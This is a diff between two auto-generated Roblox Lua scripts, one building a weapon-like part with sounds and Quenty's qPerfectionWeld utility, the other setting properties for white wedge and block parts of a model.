| 914 | - | Sound46.Name = "Reload" |
| 914 | + | Part31.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 915 | - | Sound46.Parent = Part45 |
| 915 | + | Part32.Name = "Smooth Block Model" |
| 916 | - | Sound46.Pitch = 0.80000001192093 |
| 916 | + | Part32.Parent = Model21 |
| 917 | - | Sound46.SoundId = "rbxassetid://657701831" |
| 917 | + | Part32.BrickColor = BrickColor.new("White")
|
| 918 | - | Sound46.Volume = 1 |
| 918 | + | Part32.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) |
| 919 | - | Sound47.Name = "Fire" |
| 919 | + | Part32.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 920 | - | Sound47.Parent = Part45 |
| 920 | + | Part32.Velocity = Vector3.new(-0.370319426, -0.442038894, 13.9674177) |
| 921 | - | Sound47.SoundId = "rbxassetid://541454470" |
| 921 | + | Part32.Size = Vector3.new(6, 1.20000005, 1) |
| 922 | - | Sound47.Volume = 1 |
| 922 | + | Part32.CFrame = CFrame.new(-42.5904694, 8.3411026, 125.943794, 0.00775468862, -6.74084877e-05, -0.999963939, -0.00475055212, 0.999988735, -0.000104216793, 0.999950647, 0.00475121522, 0.00775363203) |
| 923 | - | Part48.Parent = Part45 |
| 923 | + | Part32.TopSurface = Enum.SurfaceType.Smooth |
| 924 | - | Part48.Rotation = Vector3.new(-5, -90, 0) |
| 924 | + | Part32.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 925 | - | Part48.Size = Vector3.new(0.299999595, 1, 2) |
| 925 | + | Part32.Position = Vector3.new(-42.5904694, 8.3411026, 125.943794) |
| 926 | - | Part48.CFrame = CFrame.new(14.380682, 3.71998262, 64.4170761, -9.3130501e-07, 7.96250106e-08, -1, 0.087155737, 0.99619478, -1.84656812e-09, 0.99619472, -0.0871557444, -9.34700893e-07) |
| 926 | + | Part32.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) |
| 927 | - | Part48.Position = Vector3.new(14.380682, 3.71998262, 64.4170761) |
| 927 | + | Part32.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 928 | - | Part48.Orientation = Vector3.new(0, -90, 5) |
| 928 | + | SpecialMesh33.Parent = Part32 |
| 929 | - | SpecialMesh49.Parent = Part48 |
| 929 | + | SpecialMesh33.MeshType = Enum.MeshType.Wedge |
| 930 | - | SpecialMesh49.MeshId = "rbxassetid://477918514" |
| 930 | + | Part34.Name = "Smooth Block Model" |
| 931 | - | SpecialMesh49.Scale = Vector3.new(0.0299999993, 0.0299999993, 0.0299999993) |
| 931 | + | Part34.Parent = Model21 |
| 932 | - | SpecialMesh49.TextureId = "rbxassetid://477918517" |
| 932 | + | Part34.BrickColor = BrickColor.new("White")
|
| 933 | - | SpecialMesh49.MeshType = Enum.MeshType.FileMesh |
| 933 | + | Part34.Rotation = Vector3.new(-179.729996, -0.439999998, 180) |
| 934 | - | SpecialMesh49.Scale = Vector3.new(0.0299999993, 0.0299999993, 0.0299999993) |
| 934 | + | Part34.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 935 | - | Script50.Name = "qPerfectionWeld" |
| 935 | + | Part34.Velocity = Vector3.new(-0.553568482, -0.493480206, 14.8806553) |
| 936 | - | Script50.Parent = Part45 |
| 936 | + | Part34.CanCollide = false |
| 937 | - | table.insert(cors,sandbox(Script50,function() |
| 937 | + | Part34.Size = Vector3.new(3, 1.20000005, 1) |
| 938 | - | -- Created by Quenty (@Quenty, follow me on twitter). |
| 938 | + | Part34.CFrame = CFrame.new(-48.6015511, 3.54765773, 124.467613, -0.999959648, -6.73953255e-05, -0.00775434123, -0.000104178216, 0.999988735, 0.00475050695, 0.00775282644, 0.00475116819, -0.999944925) |
| 939 | - | -- Should work with only ONE copy, seamlessly with weapons, trains, et cetera. |
| 939 | + | Part34.BackSurface = Enum.SurfaceType.Weld |
| 940 | - | -- Parts should be ANCHORED before use. It will, however, store relatives values and so when tools are reparented, it'll fix them. |
| 940 | + | Part34.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 941 | Part34.Position = Vector3.new(-48.6015511, 3.54765773, 124.467613) | |
| 942 | - | --[[ INSTRUCTIONS |
| 942 | + | Part34.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) |
| 943 | - | - Place in the model |
| 943 | + | Part34.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 944 | - | - Make sure model is anchored |
| 944 | + | Part35.Name = "Smooth Block Model" |
| 945 | - | - That's it. It will weld the model and all children. |
| 945 | + | Part35.Parent = Model21 |
| 946 | Part35.BrickColor = BrickColor.new("White")
| |
| 947 | - | THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. |
| 947 | + | Part35.Rotation = Vector3.new(0.769999981, -89.5199966, 0.5) |
| 948 | - | THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. |
| 948 | + | Part35.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 949 | - | THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. |
| 949 | + | Part35.Velocity = Vector3.new(-0.275333643, 0.176887929, 14.6082363) |
| 950 | - | THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. |
| 950 | + | Part35.Size = Vector3.new(22, 1.20000005, 14) |
| 951 | - | THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. |
| 951 | + | Part35.CFrame = CFrame.new(-46.0590744, 4.72177124, 129.953613, 0.00775467278, -6.74076146e-05, -0.999964297, -0.00475055305, 0.999988735, -0.000104217797, 0.999951124, 0.00475121615, 0.00775365438) |
| 952 | - | THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. |
| 952 | + | Part35.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 953 | - | THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. |
| 953 | + | Part35.Position = Vector3.new(-46.0590744, 4.72177124, 129.953613) |
| 954 | - | THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. |
| 954 | + | Part35.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) |
| 955 | Part35.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 956 | - | This script is designed to be used is a regular script. In a local script it will weld, but it will not attempt to handle ancestory changes. |
| 956 | + | Part36.Name = "Smooth Block Model" |
| 957 | - | ]] |
| 957 | + | Part36.Parent = Model21 |
| 958 | Part36.BrickColor = BrickColor.new("White")
| |
| 959 | - | --[[ DOCUMENTATION |
| 959 | + | Part36.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5) |
| 960 | - | - Will work in tools. If ran more than once it will not create more than one weld. This is especially useful for tools that are dropped and then picked up again. |
| 960 | + | Part36.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 961 | - | - Will work in PBS servers |
| 961 | + | Part36.Velocity = Vector3.new(-0.297574908, 0.117019653, 14.6181965) |
| 962 | - | - Will work as long as it starts out with the part anchored |
| 962 | + | Part36.Size = Vector3.new(13, 2.4000001, 3) |
| 963 | - | - Stores the relative CFrame as a CFrame value |
| 963 | + | Part36.CFrame = CFrame.new(-51.5706329, 6.52831173, 128.504898, -0.0077546807, -6.74080511e-05, 0.999964118, 0.00475055259, 0.999988735, 0.000104217295, -0.999950886, 0.00475121569, -0.00775364321) |
| 964 | - | - Takes careful measure to reduce lag by not having a joint set off or affected by the parts offset from origin |
| 964 | + | Part36.TopSurface = Enum.SurfaceType.Smooth |
| 965 | - | - Utilizes a recursive algorith to find all parts in the model |
| 965 | + | Part36.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 966 | - | - Will reweld on script reparent if the script is initially parented to a tool. |
| 966 | + | Part36.Position = Vector3.new(-51.5706329, 6.52831173, 128.504898) |
| 967 | - | - Welds as fast as possible |
| 967 | + | Part36.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981) |
| 968 | - | ]] |
| 968 | + | Part36.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 969 | SpecialMesh37.Parent = Part36 | |
| 970 | - | -- qPerfectionWeld.lua |
| 970 | + | SpecialMesh37.MeshType = Enum.MeshType.Wedge |
| 971 | - | -- Created 10/6/2014 |
| 971 | + | Part38.Name = "Smooth Block Model" |
| 972 | - | -- Author: Quenty |
| 972 | + | Part38.Parent = Model21 |
| 973 | - | -- Version 1.0.3 |
| 973 | + | Part38.BrickColor = BrickColor.new("White")
|
| 974 | Part38.Rotation = Vector3.new(0.269999981, 0.439999998, 0) | |
| 975 | - | -- Updated 10/14/2014 - Updated to 1.0.1 |
| 975 | + | Part38.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 976 | - | --- Bug fix with existing ROBLOX welds ? Repro by asimo3089 |
| 976 | + | Part38.Velocity = Vector3.new(-0.160322845, 0.642017663, 14.8493538) |
| 977 | Part38.CanCollide = false | |
| 978 | - | -- Updated 10/14/2014 - Updated to 1.0.2 |
| 978 | + | Part38.Size = Vector3.new(8, 2.4000001, 3) |
| 979 | - | --- Fixed bug fix. |
| 979 | + | Part38.CFrame = CFrame.new(-46.0318222, 2.90518284, 133.444916, 0.999958217, -6.74226176e-05, 0.00775494147, 0.000104200764, 0.999988735, -0.00475053536, -0.00775327487, 0.0047511952, 0.999943018) |
| 980 | Part38.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 981 | - | -- Updated 10/14/2014 - Updated to 1.0.3 |
| 981 | + | Part38.Position = Vector3.new(-46.0318222, 2.90518284, 133.444916) |
| 982 | - | --- Now handles joints semi-acceptably. May be rather hacky with some joints. :/ |
| 982 | + | Part38.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) |
| 983 | Part38.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 984 | - | local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges). |
| 984 | + | Part39.Name = "Smooth Block Model" |
| 985 | Part39.Parent = Model21 | |
| 986 | Part39.BrickColor = BrickColor.new("White")
| |
| 987 | - | local function CallOnChildren(Instance, FunctionToCall) |
| 987 | + | Part39.Rotation = Vector3.new(-179.729996, -0.439999998, 180) |
| 988 | - | -- Calls a function on each of the children of a certain object, using recursion. |
| 988 | + | Part39.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 989 | Part39.Velocity = Vector3.new(0.186685145, 1.5315783, 14.6102324) | |
| 990 | - | FunctionToCall(Instance) |
| 990 | + | Part39.Size = Vector3.new(1, 1.20000005, 3) |
| 991 | Part39.CFrame = CFrame.new(-49.4853592, 5.87626505, 139.485992, -0.999964118, -6.74080511e-05, -0.0077546807, -0.000104217295, 0.999988735, 0.00475055259, 0.00775364321, 0.00475121569, -0.999950886) | |
| 992 | - | for _, Child in next, Instance:GetChildren() do |
| 992 | + | Part39.TopSurface = Enum.SurfaceType.Smooth |
| 993 | - | CallOnChildren(Child, FunctionToCall) |
| 993 | + | Part39.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 994 | Part39.Position = Vector3.new(-49.4853592, 5.87626505, 139.485992) | |
| 995 | Part39.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) | |
| 996 | Part39.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 997 | - | local function GetNearestParent(Instance, ClassName) |
| 997 | + | SpecialMesh40.Parent = Part39 |
| 998 | - | -- Returns the nearest parent of a certain class, or returns nil |
| 998 | + | SpecialMesh40.MeshType = Enum.MeshType.Wedge |
| 999 | Part41.Name = "Smooth Block Model" | |
| 1000 | - | local Ancestor = Instance |
| 1000 | + | Part41.Parent = Model21 |
| 1001 | - | repeat |
| 1001 | + | Part41.BrickColor = BrickColor.new("White")
|
| 1002 | - | Ancestor = Ancestor.Parent |
| 1002 | + | Part41.Rotation = Vector3.new(0.269999981, 0.439999998, 0) |
| 1003 | - | if Ancestor == nil then |
| 1003 | + | Part41.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1004 | - | return nil |
| 1004 | + | Part41.Velocity = Vector3.new(-0.662859797, -1.08755779, 14.3654318) |
| 1005 | Part41.Size = Vector3.new(8, 2.4000001, 3) | |
| 1006 | - | until Ancestor:IsA(ClassName) |
| 1006 | + | Part41.CFrame = CFrame.new(-46.1328697, 6.56688595, 120.462631, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886) |
| 1007 | Part41.TopSurface = Enum.SurfaceType.Smooth | |
| 1008 | - | return Ancestor |
| 1008 | + | Part41.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1009 | Part41.Position = Vector3.new(-46.1328697, 6.56688595, 120.462631) | |
| 1010 | Part41.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) | |
| 1011 | - | local function GetBricks(StartInstance) |
| 1011 | + | Part41.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1012 | - | local List = {}
|
| 1012 | + | SpecialMesh42.Parent = Part41 |
| 1013 | SpecialMesh42.MeshType = Enum.MeshType.Wedge | |
| 1014 | - | -- if StartInstance:IsA("BasePart") then
|
| 1014 | + | Part43.Name = "Smooth Block Model" |
| 1015 | - | -- List[#List+1] = StartInstance |
| 1015 | + | Part43.Parent = Model21 |
| 1016 | - | -- end |
| 1016 | + | Part43.BrickColor = BrickColor.new("White")
|
| 1017 | Part43.Rotation = Vector3.new(-179.729996, -0.439999998, 180) | |
| 1018 | - | CallOnChildren(StartInstance, function(Item) |
| 1018 | + | Part43.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1019 | - | if Item:IsA("BasePart") then
|
| 1019 | + | Part43.Velocity = Vector3.new(0.185457885, 1.44324017, 14.4508104) |
| 1020 | - | List[#List+1] = Item; |
| 1020 | + | Part43.Size = Vector3.new(4, 1.20000005, 3) |
| 1021 | Part43.CFrame = CFrame.new(-45.9854851, 5.87662983, 139.458847, -0.999964118, -6.74080511e-05, -0.0077546807, -0.000104217295, 0.999988735, 0.00475055259, 0.00775364321, 0.00475121569, -0.999950886) | |
| 1022 | Part43.TopSurface = Enum.SurfaceType.Smooth | |
| 1023 | Part43.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1024 | - | return List |
| 1024 | + | Part43.Position = Vector3.new(-45.9854851, 5.87662983, 139.458847) |
| 1025 | Part43.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) | |
| 1026 | Part43.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1027 | - | local function Modify(Instance, Values) |
| 1027 | + | |
| 1028 | - | -- Modifies an Instance by using a table. |
| 1028 | + | SpecialMesh44.MeshType = Enum.MeshType.Wedge |
| 1029 | Part45.Name = "Smooth Block Model" | |
| 1030 | - | assert(type(Values) == "table", "Values is not a table"); |
| 1030 | + | Part45.Parent = Model21 |
| 1031 | Part45.BrickColor = BrickColor.new("White")
| |
| 1032 | - | for Index, Value in next, Values do |
| 1032 | + | Part45.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) |
| 1033 | - | if type(Index) == "number" then |
| 1033 | + | Part45.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1034 | - | Value.Parent = Instance |
| 1034 | + | Part45.Velocity = Vector3.new(0.155333877, 1.41049933, 14.5552521) |
| 1035 | Part45.Size = Vector3.new(1, 2.4000001, 1) | |
| 1036 | - | Instance[Index] = Value |
| 1036 | + | Part45.CFrame = CFrame.new(-39.4777756, 2.87259507, 140.39415, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321) |
| 1037 | Part45.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1038 | Part45.Position = Vector3.new(-39.4777756, 2.87259507, 140.39415) | |
| 1039 | - | return Instance |
| 1039 | + | Part45.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) |
| 1040 | Part45.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1041 | Part46.Name = "Smooth Block Model" | |
| 1042 | - | local function Make(ClassType, Properties) |
| 1042 | + | Part46.Parent = Model21 |
| 1043 | - | -- Using a syntax hack to create a nice way to Make new items. |
| 1043 | + | Part46.BrickColor = BrickColor.new("White")
|
| 1044 | Part46.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) | |
| 1045 | - | return Modify(Instance.new(ClassType), Properties) |
| 1045 | + | Part46.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1046 | Part46.Velocity = Vector3.new(0.172265053, 1.57493377, 14.7712736) | |
| 1047 | Part46.Size = Vector3.new(1, 1.20000005, 8) | |
| 1048 | - | local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"}
|
| 1048 | + | Part46.CFrame = CFrame.new(-45.9775696, 3.4719131, 140.447388, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321) |
| 1049 | - | local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"}
|
| 1049 | + | Part46.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1050 | Part46.Position = Vector3.new(-45.9775696, 3.4719131, 140.447388) | |
| 1051 | - | local function HasWheelJoint(Part) |
| 1051 | + | Part46.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) |
| 1052 | - | for _, SurfaceName in pairs(Surfaces) do |
| 1052 | + | Part46.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1053 | - | for _, HingSurfaceName in pairs(HingSurfaces) do |
| 1053 | + | Part47.Name = "Smooth Block Model" |
| 1054 | - | if Part[SurfaceName].Name == HingSurfaceName then |
| 1054 | + | Part47.Parent = Model21 |
| 1055 | - | return true |
| 1055 | + | Part47.BrickColor = BrickColor.new("White")
|
| 1056 | Part47.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) | |
| 1057 | Part47.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 1058 | Part47.Velocity = Vector3.new(-0.301431358, -0.160612941, 14.1171579) | |
| 1059 | - | |
| 1059 | + | Part47.Size = Vector3.new(13, 2.4000001, 3) |
| 1060 | - | return false |
| 1060 | + | Part47.CFrame = CFrame.new(-40.5710258, 6.52945471, 128.419601, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321) |
| 1061 | Part47.TopSurface = Enum.SurfaceType.Smooth | |
| 1062 | Part47.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1063 | - | local function ShouldBreakJoints(Part) |
| 1063 | + | Part47.Position = Vector3.new(-40.5710258, 6.52945471, 128.419601) |
| 1064 | - | --- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are |
| 1064 | + | Part47.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) |
| 1065 | - | -- definitely some edge cases. |
| 1065 | + | Part47.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1066 | SpecialMesh48.Parent = Part47 | |
| 1067 | - | if NEVER_BREAK_JOINTS then |
| 1067 | + | SpecialMesh48.MeshType = Enum.MeshType.Wedge |
| 1068 | - | return false |
| 1068 | + | Part49.Name = "Smooth Block Model" |
| 1069 | Part49.Parent = Model21 | |
| 1070 | - | |
| 1070 | + | Part49.BrickColor = BrickColor.new("White")
|
| 1071 | - | if HasWheelJoint(Part) then |
| 1071 | + | Part49.Rotation = Vector3.new(0.269999981, 0.439999998, 0) |
| 1072 | - | return false |
| 1072 | + | Part49.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1073 | Part49.Velocity = Vector3.new(-0.0539558008, 0.971932828, 14.8837423) | |
| 1074 | - | |
| 1074 | + | Part49.CanCollide = false |
| 1075 | - | local Connected = Part:GetConnectedParts() |
| 1075 | + | Part49.Size = Vector3.new(3, 1.20000005, 1) |
| 1076 | - | |
| 1076 | + | Part49.CFrame = CFrame.new(-48.5162392, 3.4954052, 135.467026, 0.999961436, -6.74146722e-05, 0.00775479898, 0.000104209779, 0.999988735, -0.00475054514, -0.00775347557, 0.00475120638, 0.999947309) |
| 1077 | - | if #Connected == 1 then |
| 1077 | + | Part49.BackSurface = Enum.SurfaceType.Weld |
| 1078 | - | return false |
| 1078 | + | Part49.BottomSurface = Enum.SurfaceType.Smooth |
| 1079 | Part49.FrontSurface = Enum.SurfaceType.Weld | |
| 1080 | - | |
| 1080 | + | Part49.RightSurface = Enum.SurfaceType.Weld |
| 1081 | - | for _, Item in pairs(Connected) do |
| 1081 | + | Part49.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1082 | - | if HasWheelJoint(Item) then |
| 1082 | + | Part49.Position = Vector3.new(-48.5162392, 3.4954052, 135.467026) |
| 1083 | - | return false |
| 1083 | + | Part49.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) |
| 1084 | - | elseif not Item:IsDescendantOf(script.Parent) then |
| 1084 | + | Part49.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1085 | - | return false |
| 1085 | + | Part50.Name = "Smooth Block Model" |
| 1086 | Part50.Parent = Model21 | |
| 1087 | Part50.BrickColor = BrickColor.new("White")
| |
| 1088 | - | |
| 1088 | + | Part50.Rotation = Vector3.new(0.269999981, 0.439999998, 0) |
| 1089 | - | return true |
| 1089 | + | Part50.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1090 | Part50.Velocity = Vector3.new(-0.0557077006, 0.845738649, 14.6559963) | |
| 1091 | Part50.CanCollide = false | |
| 1092 | - | local function WeldTogether(Part0, Part1, JointType, WeldParent) |
| 1092 | + | Part50.Size = Vector3.new(3, 1.20000005, 1) |
| 1093 | - | --- Weld's 2 parts together |
| 1093 | + | Part50.CFrame = CFrame.new(-43.5164413, 3.49594164, 135.428268, 0.99995929, -6.74199691e-05, 0.00775489397, 0.000104203769, 0.999988735, -0.00475053862, -0.00775334192, 0.00475119893, 0.999944448) |
| 1094 | - | -- @param Part0 The first part |
| 1094 | + | Part50.BackSurface = Enum.SurfaceType.Weld |
| 1095 | - | -- @param Part1 The second part (Dependent part most of the time). |
| 1095 | + | Part50.BottomSurface = Enum.SurfaceType.Smooth |
| 1096 | - | -- @param [JointType] The type of joint. Defaults to weld. |
| 1096 | + | Part50.FrontSurface = Enum.SurfaceType.Weld |
| 1097 | - | -- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better). |
| 1097 | + | Part50.LeftSurface = Enum.SurfaceType.Weld |
| 1098 | - | -- @return The weld created. |
| 1098 | + | Part50.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1099 | Part50.Position = Vector3.new(-43.5164413, 3.49594164, 135.428268) | |
| 1100 | - | JointType = JointType or "Weld" |
| 1100 | + | Part50.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) |
| 1101 | - | local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")
|
| 1101 | + | Part50.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1102 | - | |
| 1102 | + | Part51.Name = "Smooth Block Model" |
| 1103 | - | local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
|
| 1103 | + | Part51.Parent = Model21 |
| 1104 | - | Modify(NewWeld, {
|
| 1104 | + | Part51.BrickColor = BrickColor.new("White")
|
| 1105 | - | Name = "qCFrameWeldThingy"; |
| 1105 | + | Part51.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) |
| 1106 | - | Part0 = Part0; |
| 1106 | + | Part51.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1107 | - | Part1 = Part1; |
| 1107 | + | Part51.Velocity = Vector3.new(0.112192824, 1.44133377, 14.8510389) |
| 1108 | - | C0 = CFrame.new();--Part0.CFrame:inverse(); |
| 1108 | + | Part51.Size = Vector3.new(1, 2.4000001, 14) |
| 1109 | - | C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse(); |
| 1109 | + | Part51.CFrame = CFrame.new(-45.9852829, 2.87666798, 139.444595, 0.00775470445, -6.74093753e-05, -0.999963582, -0.00475055119, 0.999988735, -0.000104215789, 0.999950171, 0.00475121383, 0.00775360968) |
| 1110 | - | Parent = Part1; |
| 1110 | + | Part51.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1111 | Part51.Position = Vector3.new(-45.9852829, 2.87666798, 139.444595) | |
| 1112 | Part51.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) | |
| 1113 | - | if not RelativeValue then |
| 1113 | + | Part51.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1114 | - | RelativeValue = Make("CFrameValue", {
|
| 1114 | + | Part52.Name = "Smooth Block Model" |
| 1115 | - | Parent = Part1; |
| 1115 | + | Part52.Parent = Model21 |
| 1116 | - | Name = "qRelativeCFrameWeldValue"; |
| 1116 | + | Part52.BrickColor = BrickColor.new("White")
|
| 1117 | - | Archivable = true; |
| 1117 | + | Part52.Rotation = Vector3.new(-179.729996, -0.439999998, 180) |
| 1118 | - | Value = NewWeld.C1; |
| 1118 | + | Part52.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1119 | - | }) |
| 1119 | + | Part52.Velocity = Vector3.new(-0.164705127, 0.245787159, 14.1281023) |
| 1120 | Part52.Size = Vector3.new(6, 1.20000005, 3) | |
| 1121 | Part52.CFrame = CFrame.new(-46.0554428, 8.31935596, 130.470703, -0.999963939, -6.74084877e-05, -0.00775468862, -0.000104216793, 0.999988735, 0.00475055212, 0.00775363203, 0.00475121522, -0.999950647) | |
| 1122 | - | return NewWeld |
| 1122 | + | Part52.TopSurface = Enum.SurfaceType.Smooth |
| 1123 | Part52.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1124 | Part52.Position = Vector3.new(-46.0554428, 8.31935596, 130.470703) | |
| 1125 | - | local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor) |
| 1125 | + | Part52.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) |
| 1126 | - | -- @param Parts The Parts to weld. Should be anchored to prevent really horrible results. |
| 1126 | + | Part52.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1127 | - | -- @param MainPart The part to weld the model to (can be in the model). |
| 1127 | + | SpecialMesh53.Parent = Part52 |
| 1128 | - | -- @param [JointType] The type of joint. Defaults to weld. |
| 1128 | + | SpecialMesh53.MeshType = Enum.MeshType.Wedge |
| 1129 | - | -- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion. |
| 1129 | + | Part54.Name = "Smooth Block Model" |
| 1130 | - | |
| 1130 | + | Part54.Parent = Model21 |
| 1131 | - | for _, Part in pairs(Parts) do |
| 1131 | + | Part54.BrickColor = BrickColor.new("White")
|
| 1132 | - | if ShouldBreakJoints(Part) then |
| 1132 | + | Part54.Rotation = Vector3.new(0.269999981, 0.439999998, 0) |
| 1133 | - | Part:BreakJoints() |
| 1133 | + | Part54.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1134 | Part54.Velocity = Vector3.new(-0.369093299, -0.353703618, 14.1268396) | |
| 1135 | Part54.Size = Vector3.new(6, 1.20000005, 6) | |
| 1136 | - | |
| 1136 | + | Part54.CFrame = CFrame.new(-46.0903397, 8.34073353, 125.970917, 0.999963939, -6.74084877e-05, 0.00775468862, 0.000104216793, 0.999988735, -0.00475055212, -0.00775363203, 0.00475121522, 0.999950647) |
| 1137 | - | for _, Part in pairs(Parts) do |
| 1137 | + | Part54.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 1138 | - | if Part ~= MainPart then |
| 1138 | + | Part54.Position = Vector3.new(-46.0903397, 8.34073353, 125.970917) |
| 1139 | - | WeldTogether(MainPart, Part, JointType, MainPart) |
| 1139 | + | Part54.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) |
| 1140 | Part54.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1141 | Part55.Name = "Smooth Block Model" | |
| 1142 | Part55.Parent = Model21 | |
| 1143 | - | if not DoNotUnanchor then |
| 1143 | + | Part55.BrickColor = BrickColor.new("White")
|
| 1144 | - | for _, Part in pairs(Parts) do |
| 1144 | + | Part55.Rotation = Vector3.new(0.769999981, -89.4799957, 0.5) |
| 1145 | - | Part.Anchored = false |
| 1145 | + | Part55.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 1146 | Part55.Velocity = Vector3.new(-0.0548307784, 0.908837438, 14.7698669) | |
| 1147 | - | MainPart.Anchored = false |
| 1147 | + | Part55.Size = Vector3.new(1, 1.20000005, 2) |
| 1148 | Part55.CFrame = CFrame.new(-46.0163269, 3.49568486, 135.447662, 0.00775436684, -6.73966642e-05, -0.99995929, -0.00475050509, 0.999988735, -0.0001041777, 0.999944448, 0.0047511654, 0.0077528148) | |
| 1149 | Part55.BottomSurface = Enum.SurfaceType.Hinge | |
| 1150 | Part55.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 1151 | - | local function PerfectionWeld() |
| 1151 | + | Part55.Position = Vector3.new(-46.0163269, 3.49568486, 135.447662) |
